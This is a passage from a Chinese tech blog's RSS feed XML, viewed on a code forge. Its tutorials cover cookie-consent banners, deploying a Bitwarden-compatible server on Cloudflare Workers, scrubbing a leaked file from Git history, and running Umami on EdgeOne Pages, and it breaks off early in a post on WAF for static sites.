Files
fuwari/rss.xml

11055 lines
835 KiB
XML
Raw Permalink Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>AcoFork Blog</title><description>技术分享与实践</description><link>https://blog.acofork.com/</link><language>zh_CN</language><item><title>加群向导</title><link>https://blog.acofork.com/posts/pin/</link><guid isPermaLink="true">https://blog.acofork.com/posts/pin/</guid><description>关于如何联系二叉树树~</description><pubDate>Sat, 24 May 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;官方&lt;/h1&gt;
&lt;h2&gt;Telegram群组&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://t.me/+_07DERp7k1ljYTc1&quot;&gt;Telegram: Join Group Chat [2x.nz]&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;QQ群&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;为什么仅QQ群需要赞助因为QQ作为国内平台很容易被内鬼举报致使封群但相对的门槛更低交流更方便。当然如果您是高级用户可以加入非QQ群。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;请先 &lt;a href=&quot;/sponsors/&quot;&gt;赞助&lt;/a&gt; 至少 &lt;strong&gt;10 CNY&lt;/strong&gt; 后加群。赞助时建议留备注,加群问题填写你留的备注或者交易订单号
点击链接加入群聊【2x.nz】 &lt;a href=&quot;https://qm.qq.com/q/I2Quch1uy6&quot;&gt;QQ群&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-15-03-24-11-image.9R4OmJCY.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;非官方&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;粉丝自建&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;a href=&quot;https://t.me/blog2x&quot;&gt;Telegram: View @blog2x&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>想要一个Cookie管理器无需手搓</title><link>https://blog.acofork.com/posts/cookie-consent/</link><guid isPermaLink="true">https://blog.acofork.com/posts/cookie-consent/</guid><description>Cookie Consent是一个开源简单实现的Cookie管理器能让您的网站GDPR合规仅需复制粘贴</description><pubDate>Fri, 30 Jan 2026 20:27:05 GMT</pubDate><content:encoded>&lt;h1&gt;前言&lt;/h1&gt;
&lt;p&gt;你的网站是否有很多的跟踪器?如 &lt;strong&gt;Google Analytics、Google Adsense、Microsoft Clarity、百度统计&lt;/strong&gt; 等等?&lt;/p&gt;
&lt;p&gt;他们有些是追踪用户体验,获取站点访问数据,有些是提供广告,为您提供收入...&lt;/p&gt;
&lt;p&gt;但是用户是有权限拒绝某些东西的如拒绝将访问信息传送给Google或让展示的广告与个性化无关等等&lt;/p&gt;
&lt;p&gt;那么我们要如何实现让用户控制自己的数据被传送向何方呢?&lt;/p&gt;
&lt;p&gt;你可能会想到我们可以先编写一个入口脚本管理这些JS让用户同意某些再执行JS又或是和Service Worker约定拦截某些请求&lt;/p&gt;
&lt;p&gt;这对于架构设计来说肯定是极好的但是我们真的有必要手搓一个Cookie管理器吗为何不去使用一个现成的解决方案呢&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.cookieconsent.com/&quot;&gt;Download Cookie Consent Banner: GDPR + ePrivacy Directive&lt;/a&gt; 它就是一个很好的选择在该网站上提供你需要被管理的JS脚本片段然后将该网站返回的JS脚本插入您的站点即可无需编写额外的JS代码无需管理复杂的Service Worker约定这一切也都是通过该网站的客户端JavaScript实现的&lt;/p&gt;
&lt;h1&gt;正式开始&lt;/h1&gt;
&lt;p&gt;首先,我们进入 &lt;a href=&quot;https://www.cookieconsent.com/&quot;&gt;Download Cookie Consent Banner: GDPR + ePrivacy Directive&lt;/a&gt; (搭配浏览器翻译),往下滚动,找到步骤图&lt;/p&gt;
&lt;p&gt;第一步,首先选择基本逻辑&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;电子隐私指令当用户未进行Cookie管理时这往往是用户第一次进入你的网站允许所有受管理的JavaScript脚本执行&lt;/li&gt;
&lt;li&gt;GDPR + 电子隐私指令:字面意思,用户不允许就永远不加载&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/cookie-consent-1.CfMuBqUj.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;第二步,设置网站名称,布局样式以及提供您的隐私政策页面&lt;/p&gt;
&lt;p&gt;首先填写网站名称这会在用户管理Cookie时显示&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/cookie-consent-3.D9SgKIXs.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接下来选择布局,你可以在网站中看到实时更改与实际交互样式,这里不再赘述&lt;/p&gt;
&lt;p&gt;然后选择色彩搭配这里是硬编码的但是更建议后续通过JS动态更改自动适配白天/黑夜模式&lt;/p&gt;
&lt;p&gt;默认语言用英语即可,该管理器提供了多达 &lt;strong&gt;36 种&lt;/strong&gt; 语言,但就是没有简体中文,不过在实际的管理器中有繁体中文。不过英语仍然是一个较好的选择,它易读也是使用率最高的语言,这没什么问题&lt;/p&gt;
&lt;p&gt;最终对于隐私政策这是个可选项但是强烈建议配置。不过如果您暂时没有配置也不用着急先预填写一个将来的隐私政策URLhttp/https开头后续我会说明为什么这几乎是一个必填项&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/cookie-consent-2.CEHklNdD.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;第三步导入您的JS&lt;/p&gt;
&lt;p&gt;Ok终于到重头戏了接下来我们需要将我们网站上原来安装的各种追踪器JS片段归类然后一个个按部就班的添加进Cookie管理器&lt;/p&gt;
&lt;p&gt;这里的名称仅会在最终代码中展示出来站点访客仅能管理这四种类型是开是关这也是为什么上文说你几乎配置一个隐私政策页面否则用户根本不知道这四种类型分别对应着什么其中第一个类型是必开的所以你可以在其中放入一些不运行这些JS网站就不正常的脚本如评论区&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/cookie-consent-4.B6sKOVo9.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;第四步复制网站提供的JS将其粘贴到您网站的 &lt;code&gt;&amp;lt;body&amp;gt;&lt;/code&gt; 后。并移除重复的JS片段&lt;/p&gt;
&lt;p&gt;值得注意的一点是当用户在第一屏选择完要启用的Cookie后日后想更改这些首选项需要怎么做呢&lt;/p&gt;
&lt;p&gt;网站在提供的代码最后添加了一个特殊标签的按钮,也就是 &lt;code&gt;id=&quot;open_preferences_center&quot;&lt;/code&gt; ,你可以先将红框中的代码移除,否则可能会破坏布局,接下来找一个地方放置这个 &lt;strong&gt;编辑您的Cookie首选项&lt;/strong&gt; 按钮让用户可以轻松的更改Cookie首选项而不是需要用户伪造一个按钮来手动触发这个id&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/cookie-consent-5.B2keF0rr.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;最终效果&lt;/h1&gt;
&lt;p&gt;当用户第一次访问时会弹出是否允许Cookie的弹窗。用户可以选择全部允许I agree全部拒绝I decline或高级配置Change my preferences&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/cookie-consent-6.3Mi-Tl2l.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;当用户选择高级配置Change my preferences会弹出一个窗口用户首先可以看到一段文本该文本告知了用户Cookie是什么为什么需要以及Cookie如何改善访问体验&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/cookie-consent-7.WPVcvuyh.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接下来用户可以单独对这四个区块设置是否允许每一个区块也会直接但笼统的告诉用户这部分区块的Cookie能做什么。如前文所述第一个区块是始终开启的&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/cookie-consent-8.zWOgdQeY.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;最终的更多信息More Information区块放置了我们最开始填写的隐私政策链接用户可以方便的跳转到隐私政策页面前提是你写了来直观了解您的网站的隐私政策&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/cookie-consent-9.C8ya-W5U.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/cookie-consent-10.Y1uOLEMJ.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>你可曾想过直接将BitWarden部署到Cloudflare Worker</title><link>https://blog.acofork.com/posts/warden-worker/</link><guid isPermaLink="true">https://blog.acofork.com/posts/warden-worker/</guid><description>warden-worker就是这样一个项目它将Rust编译为WASM然后部署到Cloudflare Worker无需VPS无需家里云只需点点鼠标就可免费用上自己的密码托管</description><pubDate>Mon, 26 Jan 2026 17:00:52 GMT</pubDate><content:encoded>&lt;h1&gt;原理&lt;/h1&gt;
&lt;p&gt;项目参考开源的 &lt;a href=&quot;https://github.com/dani-garcia/vaultwarden&quot;&gt;dani-garcia/vaultwarden: Unofficial Bitwarden compatible server written in Rust, formerly known as bitwarden_rs&lt;/a&gt; 将Rust源码编译为WASM以支持在Cloudflare Worker上运行。其中Worker负责REST APID1负责存储加密后的数据&lt;/p&gt;
&lt;h1&gt;部署&lt;/h1&gt;
&lt;p&gt;首先确保你安装了Rust若无可前往 &lt;a href=&quot;https://rust-lang.org/zh-CN/tools/install/&quot;&gt;安装 Rust - Rust 程序设计语言&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;克隆仓库: &lt;a href=&quot;https://github.com/afoim/warden-worker&quot;&gt;afoim/warden-worker: A Bitwarden-compatible server for Cloudflare Workers&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;创建D1数据库&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;wrangler d1 create warden-sql
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/warden-worker-25.CmQ7o3eQ.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;替换 &lt;strong&gt;wrangler.jsonc&lt;/strong&gt; 的数据库ID&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/warden-worker-26.CWa0wwbj.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;初始化数据库&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;wrangler d1 execute warden-sql --remote --file=sql/schema_full.sql
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/warden-worker-27.eEFHEWBr.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;编译Rust WASM&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cargo build --release
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;部署 Worker&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;wrangler deploy
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;设置白名单邮箱&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;wrangler secret put ALLOWED_EMAILS
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/warden-worker-29.qF4QAmEb.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;设置JWT脸滚键盘即可&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;wrangler secret put JWT_SECRET
wrangler secret put JWT_REFRESH_SECRET
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/warden-worker-30.BTfOXu1s.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;设置2FA加密密钥32字节Base64编码文本&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;wrangler secret put TWO_FACTOR_ENC_KEY
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Poweshell可以这样生成&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[Convert]::ToBase64String((1..32 | ForEach-Object {Get-Random -Minimum 0 -Maximum 256}))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/warden-worker-31.CQdPLYkf.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;前往控制台绑定域名若路由需要手动写一条解析到Cloudflare&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/warden-worker-28.BTtxN6IS.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;使用移动端Bitwarden创建账号使用白名单邮箱&lt;/p&gt;
&lt;p&gt;接下来前往网页端启用2FA https://cfbw.2x.nz 用另一个TOTP验证器存储&lt;/p&gt;
&lt;p&gt;&lt;em&gt;顺便一提,想要修改邮箱或主密码也可以在网页端进行了&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/warden-worker-32.CxAhR5gi.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;将所有已登录的设备登出后再登入则会被要求TOTP&lt;/p&gt;
&lt;h1&gt;导入密码库&lt;/h1&gt;
&lt;p&gt;如果您有旧的密码库,请先前往 &lt;strong&gt;设置 - 密码库选项 - 导出 - .json&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;再登录当前密码库,前往 &lt;strong&gt;设置 - 密码库选项 - 导入 - .json&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/warden-worker-33.EeQq792e.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>如何让一个文件在Git提交中永远消失如何丢掉其中一条提交并保持逻辑完整</title><link>https://blog.acofork.com/posts/del-git-commit/</link><guid isPermaLink="true">https://blog.acofork.com/posts/del-git-commit/</guid><description>我们有时候可能会误操作导致提交了一个不该提交的文件,当你发现的时候,在此之后已经堆砌了很多新的提交...</description><pubDate>Sat, 24 Jan 2026 06:57:21 GMT</pubDate><content:encoded>&lt;h1&gt;引言&lt;/h1&gt;
&lt;p&gt;接简介&lt;/p&gt;
&lt;p&gt;这个时候我们实际上是需要将那个错误提交的文件在所有Git提交上抹掉并且逻辑自洽&lt;/p&gt;
&lt;p&gt;当然如果你不嫌麻烦或者仓库提交本来就很少你可以一点点的手动重写Git提交历史。又或是将历史提交合并为一个提交强制推送&lt;/p&gt;
&lt;p&gt;但是,这些方法要不太磨人,要不不优雅&lt;/p&gt;
&lt;p&gt;假设这个仓库有1000+提交又不想合并所有提交历史呢?&lt;/p&gt;
&lt;h1&gt;正式开始&lt;/h1&gt;
&lt;p&gt;有个PIP包正好可以满足我们的需求 &lt;strong&gt;git-filter-repo&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pip install git-filter-repo
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;安装后进入你的Git仓库运行接下来我们只需要传一个文件路径给它即可&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;--path&lt;/strong&gt; 是传入的文件路径,可以是相对路径也可以是绝对路径。但是注意,要用 &lt;strong&gt;/&lt;/strong&gt; 分割路径&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;--force&lt;/strong&gt; 是让它忽略安全性条件(如必须是一个刚克隆的仓库)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;--invert-paths&lt;/strong&gt; 是反选路径,也就是 &lt;strong&gt;剔除&lt;/strong&gt; 指定 &lt;strong&gt;--path&lt;/strong&gt; 的文件&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;执行后它会查找该文件所在仓库的所有提交,并仅将该文件剔除,若某一提交中仅对该文件做了更改,则一整条提交直接消失(因为提交中无文件更改);若某一提交中除了对该文件做了更改,还有其他文件,则该条提交仍然存在,但是文件变更记录中不再有该文件&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git filter-repo --force --path src/secret.txt --invert-paths
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;比如这里我们一不小心提交了个 &lt;strong&gt;微信密码&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/del-git-commit-2.DsDzq7jn.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;我们可以用该命令将其 &lt;strong&gt;剔除&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git filter-repo --force --path 微信密码.txt --invert-paths
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/del-git-commit-4.DamxbiCC.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;可以看到,效果非常拔群, &lt;strong&gt;微信密码.txt&lt;/strong&gt; 已经不翼而飞了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/del-git-commit-3.Bghn_drv.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;但是还有个问题,就是我们曾经的 &lt;strong&gt;提交文本&lt;/strong&gt; 暴露了 &lt;strong&gt;我们曾经曾上传过微信密码相关的文件&lt;/strong&gt; ,虽然实际上文件已经被剔除了&lt;/p&gt;
&lt;p&gt;那有没有办法把这条提交删掉呢?有的,兄弟有的&lt;/p&gt;
&lt;p&gt;我们可以使用原生的 &lt;strong&gt;git rebase&lt;/strong&gt; ,以该提交作为 &lt;strong&gt;基点&lt;/strong&gt; ,将后续提交接在该提交上,这样就可以 &lt;strong&gt;架空&lt;/strong&gt; 该提交。宏观来看我们就在Git仓库中从 &lt;strong&gt;中间&lt;/strong&gt; 删除了一条提交&lt;/p&gt;
&lt;p&gt;首先,我们需要获取该提交的 &lt;strong&gt;哈希&lt;/strong&gt; ,这里假设为 &lt;strong&gt;4e19d1fc6af5119cb33128a92d5d4e80fc42e6ef&lt;/strong&gt; 仅需前8位即可&lt;/p&gt;
&lt;p&gt;接下来,使用变基命令&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git rebase --onto 4e19d1fc^ 4e19d1fc
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里会报错并自动中断变基进程Git表示该提交有些文件和当前的提交冲突无法自动解决冲突&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/del-git-commit-5.Br8BtIDT.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;由于我们要以当前提交为准,仅剔除中间的提交,所以我们使用该命令 &lt;strong&gt;以当前提交为基准,解决所有文件的冲突&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git checkout --theirs .
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;接下来将冲突标记为 &lt;strong&gt;已解决&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git add -A
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/del-git-commit-6.BV6qh85M.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;继续变基进程&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git rebase --continue
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里会弹出一个修改Git提交的vim直接关掉即可。 &lt;strong&gt;ESC&lt;/strong&gt; + &lt;strong&gt;:q&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/del-git-commit-7.DqRuBqgw.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;如果中途又停下来重复上面几步即可。最终检查你的本地提交确认要删除的提交已经不再存在。并且目前工作区的文件没有任何更改仅更改了Git历史提交记录&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/del-git-commit-9.DCkn1R-O.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;最后,我们需要将本地仓库 &lt;strong&gt;覆写&lt;/strong&gt; 到远程仓库由于最开始的PIP包在命令执行完毕后会将远程仓库删除我们此时需要重新添加回来&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git remote add origin https://github.com/你的用户名/你的仓库名.git
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;建立upstream并强制推送到远端&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git push -u origin main -f
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;此时,大功告成。自此时起,所有用户都已经看不到那个你不想让别人看到的文件与提交记录了,就像它从未存在过&lt;/p&gt;
&lt;p&gt;&lt;em&gt;真的吗?&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;如果说,有些人仍留存着你仓库提交的完整 &lt;strong&gt;commit id&lt;/strong&gt; 那他们可以通过该链接访问到那个你想隐藏的提交只不过Github会弹出警告 &lt;strong&gt;This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.(此提交不属于此仓库的任何分支,可能属于仓库外的某个分支副本。)&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;https://github.com/{user}/{repo}/commit/{commit id}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果想完全从Github上删除你需要向Github提交支持工单 &lt;a href=&quot;https://support.github.com/&quot;&gt;GitHub 支持&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;点击我的工单&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/del-git-commit-10.CDzLYFHJ.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;新工单&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/del-git-commit-11.CsiooefG.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;从我拥有或控制的存储库中删除数据&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/del-git-commit-12.0ucrbbJW.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;删除其他数据&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/del-git-commit-13.BA2crSIO.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接下来填写工单,你可以参考我的主题与正文(生成与 OpenAI ChatGPT 5.2&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Title:Request to Remove an Orphaned Commit URL Containing Sensitive Information
Hello GitHub Support Team,
I am writing to request the removal of the following commit page from GitHubs website:
https://github.com/{user}/{repo}/commit/{commit id}
This commit has already been removed from my local repository history and I have force-pushed the updated history to the GitHub remote repository. As a result, the commit is now orphaned and no longer reachable from any branch or tag.
However, the commit page itself is still accessible via its direct URL. Unfortunately, this commit contained sensitive information, and I would like to request that GitHub remove this URL from the website to prevent further access.
Please let me know if you need any additional information or verification from my side to proceed with this request.
Thank you very much for your time and assistance.
Best regards,
{user}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/del-git-commit-14.BO89QUP-.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;最后点击 &lt;strong&gt;Continue&lt;/strong&gt; 新版工单系统会自动使用Copilot为你生成一些帮助信息等他BB完我们继续创建即可&lt;/p&gt;
&lt;p&gt;马上你就会收到一封来自Github的邮件表示Github已经收到您的工单。耐心等待Github的下一步回复即可&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/del-git-commit-15.CsEMSE8Y.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Update...&lt;/p&gt;
&lt;p&gt;Github支持在12分钟后就删除了相关内容这真的很高效&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/del-git-commit-16.BxKX-Ksu.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>WTF直接将Umami部署到EdgeOne Pages扔掉VPS直接跑在云函数</title><link>https://blog.acofork.com/posts/eo-umami/</link><guid isPermaLink="true">https://blog.acofork.com/posts/eo-umami/</guid><description>我们都知道EdgeOne Pages有个完整的Node.js环境那Umami是Next.js也基于Node.js那我们是不是可以...</description><pubDate>Mon, 19 Jan 2026 10:14:32 GMT</pubDate><content:encoded>&lt;h1&gt;原理探寻&lt;/h1&gt;
&lt;p&gt;由于 &lt;strong&gt;Umami&lt;/strong&gt; 使用的是 &lt;strong&gt;SSR&lt;/strong&gt; 我原以为EdgeOne Pages不支持该模式尝试部署后发现最大的问题在于&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Error: SSR functions package size exceeds 128MiB limit (157MiB)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;也就是说EdgeOne Page是支持SSR程序的只是Umami构建后的函数太大了那么我们的思路就很清晰了只需要裁切一些代码即可&lt;/p&gt;
&lt;p&gt;那么该项目就应运而生了 &lt;a href=&quot;https://github.com/afoim/umami&quot;&gt;afoim/umami: Umami is a modern, privacy-focused analytics platform. An open-source alternative to Google Analytics, Mixpanel and Amplitude.&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;我将Umami v3中的无关紧要的东西&lt;code&gt;像素统计&lt;/code&gt; &lt;code&gt;链接统计&lt;/code&gt; &lt;code&gt;团队&lt;/code&gt; &lt;code&gt;地理位置文件&lt;/code&gt; 删去了最终可以在EO上部署一个残血版的Umami&lt;/p&gt;
&lt;p&gt;至于数据库,我用的是 https://supabase.com/ 需要注意,连接方式不能用 &lt;code&gt;Direct Connection&lt;/code&gt;
&lt;img src=&quot;https://blog.acofork.com/_astro/eo-umami-2.B_7cF9HN.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Demo &lt;a href=&quot;https://eo-umami.acofork.com/share/rC995W8J6CT4uLDo&quot;&gt;Umami&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;视频: https://www.bilibili.com/video/BV1JiqSBaEY1/&lt;/p&gt;
&lt;p&gt;唯一的缺陷无法获取用户地区原逻辑有个高达60M的本地Geo文件
&lt;img src=&quot;https://blog.acofork.com/_astro/eo-umami.CRrlz1l4.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;上手部署&lt;/h1&gt;
&lt;ol&gt;
&lt;li&gt;Fork 该仓库 [&lt;a href=&quot;https://github.com/afoim/umami&quot;&gt;afoim/umami: Umami is a modern, privacy-focused analytics platform. An open-source alternative to Google Analytics, Mixpanel and Amplitude.&lt;/a&gt;](https://github.com/afoim/umami-edgeonepages/tree/main)&lt;/li&gt;
&lt;li&gt;连接到EdgeOne Pages但先别点部署&lt;/li&gt;
&lt;li&gt;填写环境变量 &lt;code&gt;DATABASE_URL&lt;/code&gt; 从Supbase中拿类似于 &lt;code&gt;postgresql://postgres.kupggtyqiaepzvjqbboy:[YOUR-PASSWORD]@aws-1-ap-northeast-1.pooler.supabase.com:5432/postgres&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;绑定你的域名,访问并登录。用户名: admin | 密码umami&lt;/li&gt;
&lt;/ol&gt;
&lt;h1&gt;疑难解答&lt;/h1&gt;
&lt;p&gt;&lt;s&gt;内部重定向貌似出了问题,如果你想要访问设置更改你的管理员密码请手动前往 &lt;code&gt;/settings/preferences&lt;/code&gt;&lt;/s&gt; 他们解决了这个问题,但是...&lt;/p&gt;
&lt;p&gt;但是有个新问题就是POST请求全被吃了目前代码暂时将所有POST请求改为了GET请求。我们在 &lt;strong&gt;Main&lt;/strong&gt; 分支发布了全GET请求的版本保证普通用户可用&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;master 分支目前提供给腾讯当作试验场使用,会暴露很多敏感信息,别用&lt;/strong&gt;&lt;/p&gt;
</content:encoded></item><item><title>静态网站也需要WAFCloudflare不需要但是EdgeOne/ESA需要</title><link>https://blog.acofork.com/posts/waf/</link><guid isPermaLink="true">https://blog.acofork.com/posts/waf/</guid><description>在几周前我的网站累计被DDoS了约100TB的流量哪怕我是静态网站并不会被“打死”但因为流量过大还是被EdgeOne取消接入了其实这件事本不会发生...</description><pubDate>Sun, 18 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;静态网站能不能被打死?&lt;/h1&gt;
&lt;p&gt;首先,先给结论:&lt;/p&gt;
&lt;p&gt;如果你托管在 &lt;strong&gt;Cloudflare Page&lt;/strong&gt; 那确实不用担心因为它既不对静态请求计费自身的CDN网络也足够强大只要不是一天一PB都是稳如老狗的&lt;/p&gt;
&lt;p&gt;但是,如果你托管在 &lt;strong&gt;EdgeOne/ESA&lt;/strong&gt; 等计费平台,是 &lt;strong&gt;可以被打死&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;有人就会问了: 我都是静态网站了,源站都没有,怎么能被打死呢?&lt;/p&gt;
